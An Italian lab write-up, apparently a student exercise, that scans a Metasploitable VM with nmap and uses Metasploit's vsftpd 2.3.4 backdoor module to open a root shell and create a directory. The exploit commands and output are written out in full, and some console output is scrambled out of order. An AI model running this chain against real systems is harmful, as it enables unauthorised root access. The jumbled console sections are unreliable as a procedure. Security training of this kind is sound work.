## **METASPLOIT**

Per l'esercizio che segue andiamo a configurare gli IP delle macchine come richiesto dalla traccia: Metaslpoitable 192.168.1.149 e di conseguenza anche Kali 192.168.1.100

La prima cosa da fare è individuare porte e servizi aperti sul target; eseguiamo quindi una scansione con nmap

```
s nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 08:
Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoi
ng Service Scan
Service scan Timing: About 95.00% done; ETC: 08:57 (0:00:03
Stats: 0:02:09 elapsed; 0 hosts completed (1 up), 1 undergoi
ng Service Scan
Service scan Timing: About 95.00% done; ETC: 08:58 (0:00:06
Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoi
ng Service Scan
Service scan Timing: About 100.00% done; ETC: 08:59 (0:00:00
 remaining)
Nmap scan report for 192.168.1.149
Host is up (0.0013s latency).
Not shown: 980 closed tcp ports (conn-refused)
         STATE SERVICE
                           VERSION
21/tcp open ftp
                           vsftpd 2.3.4
23/tcp
        open
               telnet
                           Linux telnetd
25/tcp
        open
                           Postfix smtpd
53/tcp
              domain
                           ISC BIND 9.4.2
        open
                           Apache httpd 2.2.8 ((Ubuntu) DAV/
80/tcp
        open http
```

La traccia ci chiede di utilizzare il servizio ftp, con nmap vediamo che il servizio è aperto, ed è sulla porta 21.

Ora possiamo spostarci su metasloit; lanciamo il tool con il comando *msfconsole*, cerchiamo gli expoit disponibili per il servizio ftp con il comando *show vsftpd*.

```
msf6 >
msf6 > search vsftpd
Matching Modules
                                            Disclosure Date Rank
                                                                        Check Description
      Name
   0 auxiliary/dos/ftp/vsftpd_232
                                                                               VSFTPD 2.3.2
                                            2011-02-03
                                                             normal
                                                                        Yes
 Denial of Service
   1 exploit/unix/ftp/vsftpd 234 backdoor 2011-07-03
                                                             excellent No
                                                                               VSETPD v2.3.
4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/
vsftpd 234 backdoor
```

Il nostro obiettivo è eseguire la shell da remoto per poter creare una nuova directory; quindi utilizzeremo una backdoor (exploit/unix/ftp/vsftpd 234 backdoor).

exploit/unix/ftp/vsftpd 234 backdoor, potremmo anche utilizzare il numero definito dal tool 1 (come suggerito da metsploit nell'immagine della pagina precedente). Eseguiamo il comando *show options* per controllare cosa dobbiamo specificare per utilizzare questo exploit: vediamo che sono richieste IP target e la porta (la porta è già impostata di default sulla 21, in quanto servizio ftp)(1

Carichiamo l'expoit con il comando use

Impostiamo IP target con il comando set 192.168.1.149 e a questo punto contolliamo anche i payloads disponibili.

Possiamo notare che c'è un unico payload disponibile payload/cmd/unix/interact, in questo caso viene preso di default (essendo l'unico), in caso il comando per impostare il payload è set payload cmd/unix/interact.

Ora siamo pronti per eseguire l'exploit con il medesimo comando exploit. Per qualche motivo si è dovuto inserire 2 volte ma alla seconda l'attacco va a buon fine e ci fa accedere alla shell della MV Metasploitable.

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
   Name
            Current Setting Required Description
   CHOST
                                       The local client address
   CPORT
                                       The local client port
   Proxies
                                       A proxy chain of format type:host:port[,type:host:
                                       port1[ ... ]
                                       The target host(s), see https://docs.metasploit.co
   RHOSTS
                             yes
                                       m/docs/using-metasploit/basics/using-metasploit.ht
                                       The target port (TCP)
   RPORT
                             yes
Payload options (cmd/unix/interact):
   Name Current Setting Required Description
```

Compatible Payloads

h Established Connection

0 payload/cmd/unix/interact

rhosts ⇒ 192.168.1.149

Name

[\*] Found shell.

:07:53 +0000

msf6 > use exploit/unix/ftp/vsftpd\_234\_backdoor

[\*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > show options

Disclosure Date Rank

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > show payloads

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > set rhosts 192.168.1.149

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > exploit

normal

No

Check Description

Unix Command, Interact wit

[\*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4) [\*] 192.168.1.149:21 - USER: 331 Please specify the password. [\*] Exploit completed, but no session was created.

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > exploit

[\*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open

[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

[\*] Command shell session 1 opened (192.168.1.100:33175 → 192.168.1.149:6200) at 2024-01-15 09

Ora abbiamo pieno accesso alla macchina target, come mostrato nelle immagini di lato possiamo eseguire qualsiasi comando.

L'esercizio ci chiede di creare una directory sul root: eseguiamo il comando *mkdir test metasploit*.

whoami root mkdir test\_metasploit

```
ifconfig
eth0
          Link encap:Ethernet HWaddr b6:44:54:d7:c0:fe
          inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0
          inet6 addr: fe80::b444:54ff:fed7:c0fe/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:2547 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1595 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:189767 (185.3 KB) TX bytes:132288 (129.1 KB)
         Base address:0xc000 Memory:febc0000-febe0000
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:152 errors:0 dropped:0 overruns:0 frame:0
          TX packets:152 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
         RX bytes:52737 (51.5 KB) TX bytes:52737 (51.5 KB)
```

Per controllare che la directory sia stata effettivamente creata sulla macchina target, accediamo ad Metasploitable e andiamo a controllare che sia stata creata. root@metasploitable:~# ls
Desktop reset\_logs.sh test\_metasploit vnc.log
root@metasploitable:~# \_

Metasploit è un tool molto interessante per eseguire exploit di diverso tipo su diversi OS. Exploit: si intendono dei programmi che sfruttano le vulnerabilità per poter eseguire azioni specifiche sui target attaccati.

FTP: File Transfer Protocol, cioè è un protocollo di comunicazione che utilizza TCP (Trasmission Control Protocol) per il trasferimento di dati tra client e server. Viene utilizzato anche per l'uso di computer da remoto che è esattamente quello che abbiamo visto in questo esercizio.